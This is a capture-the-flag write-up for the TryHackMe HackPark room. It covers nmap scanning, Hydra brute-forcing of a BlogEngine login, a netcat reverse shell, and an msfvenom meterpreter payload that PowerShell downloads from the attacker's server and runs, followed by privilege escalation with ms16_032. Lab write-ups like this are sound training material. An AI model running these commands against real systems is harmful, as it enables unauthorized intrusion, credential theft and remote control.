HackPark - TryHackMe
# Nmap 7.93 scan initiated Tue Jan 3 19:57:02 2023 as: nmap -sC -sV -Pn -T4 -oN nmap 10.10.24.159
Nmap scan report for 10.10.24.159
Host is up (0.11s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2023-01-03T00:27:36
|_Not valid after: 2023-07-05T00:27:36
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 3 19:58:31 2023 -- 1 IP address (1 host up) scanned in 89.16 seconds
The website has posts by an admin and a login page. With request data from Firefox we can bruteforce it.
# Hydra v9.3 run at 2023-01-03 22:32:41 on 10.10.24.159 http-post-form (hydra -l admin -P /usr/share/wordlists/rockyou.txt -o /home/kali/Rooms/hackpark/form-passwords 10.10.24.159 http-post-form /Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=CrTfLD%2FXZimQdIxEo9ueQ1KSpUw9foV3Lnn%2BQWt1pPZ1GvQHZpYl5yfPopZ9YfEwPR8gPvKxcFSdJf0k0L6sGsMxbrJxJimaOuD57%2BjB68PUBWAbpIYYzU3qL8zKw4bQdLfGDWQGBfMdW7efaYkFsPThEM2ZFo0H4reBHXn63XDKyyuintRHxtbp7rtptZvJfIVyIiOr%2BOc6CvYIKhXDYKW6o4N8b76xL7hAqNz00mfLMpwFzNnDeB46Ko2Uhptmw%2Fb9oxHZNyULINbYlzw5cxCLKYOla1PENg5vfVXidzO8Ye9UawWwSDsvLOlsm7Yknt5mBlvddl1xhsMsidg6uIlcoCICnanEqzTvU7YA6%2BOymY2x&__EVENTVALIDATION=3kJBbZKdSFWiVtjA5WHlWTG40%2Fxb3HY0%2FbGhlbiKgkJiRjAAAg09lf3X0cmQ%2BoEj5U2b2IjR7VvXd7YtzEgVpMlbKRUF1ouHGTNllp8RVtJTZ19IgkeHKOt4MHMz9DfaHi2N%2BYcawjCZhJvafFjJwfQxyoO4biCostewO6yqlj4CuTbZ&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed)
[80][http-post-form] host: 10.10.24.159 login: admin password: 1qaz2wsx
Once we login, we can see at http://10.10.24.159/admin/about.cshtml
that BlogEngine is running version 3.3.6.0. Based off this version, we can search exploit-db and find this poc
Now we just need to follow the instructions to get our shell.
┌──(kali㉿kali)-[~/Rooms/hackpark]
└─$ nc -lnvp 4000
listening on [any] 4000 ...
connect to [local machine] from (UNKNOWN) [10.10.146.250] 49219
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog
Metasploit route
First we generate our shell, put up an HTTP server, and setup our listener
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[local machine] LPORT=4001 -f exe > shell.exe
python -m SimpleHTTPServer
Now on the target machine we download our shell and execute it
cd C:\Windows\Temp
powershell -c "Invoke-WebRequest -Uri 'http://[local machine]:8000/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"
start shell.exe
msf6 exploit(multi/handler) >
[-] Handler failed to bind to 10.10.146.250:4001:- -
[*] Started reverse TCP handler on 0.0.0.0:4001
[*] Sending stage (200774 bytes) to 10.10.146.250
[*] Meterpreter session 1 opened ([local machine]:4001 -> 10.10.146.250:49235) at 2023-01-06 20:22:24 -0500
From this point on I used the windows/local/ms16_032_secondary_logon_handle_privesc
module and getsystem
command to root the box. This is actually not the intended solution, based on the video writeup.
Hindsight
I might have been able to finish this box faster if I had scanned with -O
and then used that version information to find the relevant metasploit module.